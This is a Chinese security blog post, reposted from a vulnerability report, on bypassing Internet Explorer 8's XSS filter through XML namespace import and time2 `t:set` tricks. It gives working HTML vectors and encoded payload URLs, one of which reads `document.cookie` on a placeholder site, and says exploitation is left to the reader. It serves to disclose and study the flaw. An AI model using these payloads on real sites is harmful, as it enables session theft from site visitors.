阿峰博客 阿峰'S blog

  • 首页
  • 移动安全
    • Android安全
    • iOS安全
    • APP安全
  • 新闻资讯
    • IT新闻
    • 安全资讯
  • 信息安全
    • WEB安全
    • 系统安全
    • 终端安全
    • 安全工具
  • 建站优化
    • 网站优化
    • 网络营销
  • 资源共享
  • 关于博客
    • 申请友链
    • 在线投稿
不忘初心,砥砺前行。
  1. 首页
  2. 信息安全
  3. 正文

绕过xss过滤器,IE8 xss filter bypass

2013 年 1 月 8 日 2677点热度 0人点赞 0条评论

IE 8 XSS 过滤器绕过。感谢@Sogili牛为本绕过通用性实现上提供的tricks。
1. 在IE8中,可以通过 <xml> <?import> + <t:set ..> 的方式来构成一个XSS vector。
在测试过程中发现, <?import> 同样可写为 <import>。
也就是说。下面的代码都可以运行JS代码。

 

01 <html>    
02 <body>    
03 <div>    
04 <div id="x">x</div>    
05 <?xml:namespace prefix="t">    
06 <?import namespace="t" implementation="#default#time2">    
07 <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">    
08 </div>    
09 </body>    
10 </html>
11 <html>    
12 <body>    
13 <div>    
14 <div id="x">x</div>    
15 <xml:namespace prefix="t">    
16 <import namespace="t" implementation="#default#time2">    
17 <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">    
18 </div>    
19 </body>    
20 </html>

2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter

测试例子如下:

http://xsst.sinaapp.com/example/1-1.php?page=<div id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;1%26%23x29;%26gt;>

 

如果用<?import..>,则会触发过滤器。

3. 当然,上面这个代码,只适用于 <HTML标签>{输出在这里}</HTML标签> 的情况。

我们经常会遇到类似 <input type="text" value="{输出在这里}"> 的情况。

这样一来,我们需要在代码前面加上 "> 来闭合HTML属性。

但是问题来啦, "> 会触发XSS过滤器,过滤掉我们代码中的敏感词。

@jackmasa (https://twitter.com/jackmasa),也就是我们乌云的 @Sogili 牛,给了一个绕过的tricks, "x> 就不会触发XSS过滤器了, x代表任意字母。 非常感谢。

这样一来,我们上面的代码可以进一步通用化。

http://www.xxxx.com/product.php?search="id=><div/id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;>

4. 至于具体怎么利用,恩,大家自己看着办。

微软已经在IE10中修复了这个问题。将会在近期推出win7的IE10版本。 故IE8中应该不会修复了。

转自:http://www.wooyun.org/bugs/wooyun-2012-013883

标签: xss过滤 绕过xss
最后更新:2013 年 1 月 8 日

阿峰

保持饥渴的专注,追求最佳的品质

点赞
< 上一篇
下一篇 >

文章评论

取消回复

标签聚合
网络安全 渗透测试 Wordpress perl xss漏洞 工具 关键字 端口扫描
最新 热点 随机
最新 热点 随机
Immunity Canvas 7.26下载及安装教程 安卓批量搜索分析Java 类/对象结构脚本工具 MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用 Joy:一款用于捕获和分析网络内部流量数据的工具 One-Lin3r:懒人的福音,渗透测试单行化工具 EvilURL v2.0一个生成用于钓鱼攻击的IDN域名的工具
MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用安卓批量搜索分析Java 类/对象结构脚本工具Immunity Canvas 7.26下载及安装教程
学信网有漏洞吗?求黑阔们检测 dzX 2.0/2.5通杀0day 存储型XSS一枚 百度站长工具可能发布网站异常行为提醒功能 利用aspx构造注射来跨站 某招聘网站漏洞小0day 黑帽seo必须掌握的四种暗链代码
最近评论
发布于 2 年前(07月07日) 小哥,可以帮忙把我的友链修改为 https://feifanblog.com 么?谢谢啦~
发布于 3 年前(07月23日) top.document.body.innerHTML=""; 这个是1.js 还是xss ...
发布于 3 年前(11月22日) 看错了,还以为是你买的register.com呢。。。
发布于 3 年前(10月22日) 大佬 求sql 放正系统注入工具
发布于 4 年前(05月27日) 感觉还是非常复杂的呢。。。。

COPYRIGHT © 2021 阿峰博客 阿峰'S blog. ALL RIGHTS RESERVED.

本站发布的内容仅限于学习和研究,请勿用于非法渗透和攻击,否则一切后果请自负;遵守法律法规,做一个合格的安全从业者。